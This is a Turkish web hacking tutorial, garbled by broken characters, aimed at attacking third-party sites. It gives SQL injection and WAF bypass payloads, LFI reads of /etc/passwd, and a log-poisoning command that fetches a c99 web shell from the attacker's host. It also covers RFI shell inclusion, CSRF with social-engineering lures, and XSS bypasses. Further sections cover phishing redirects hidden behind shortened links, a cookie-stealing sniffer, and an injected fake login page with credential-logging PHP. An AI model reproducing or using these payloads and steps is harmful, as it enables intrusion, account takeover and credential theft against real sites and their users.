ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
c-) Ziyaretccedili Defterlerinde (STORED XSS)
Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir
HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu
sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara
XSS Alert kodunu yazıyoruz
Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir
d-) Kayıt Formlarında
Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)
Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre
ediyoruzEğer accedilık mevcutsa alert alınır
e-) Yorum Formlarında
Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım
Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti
Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz
Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği
esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma
oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))
6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)
Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=
XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde
bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı
a-) HTML Bypass Code
Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
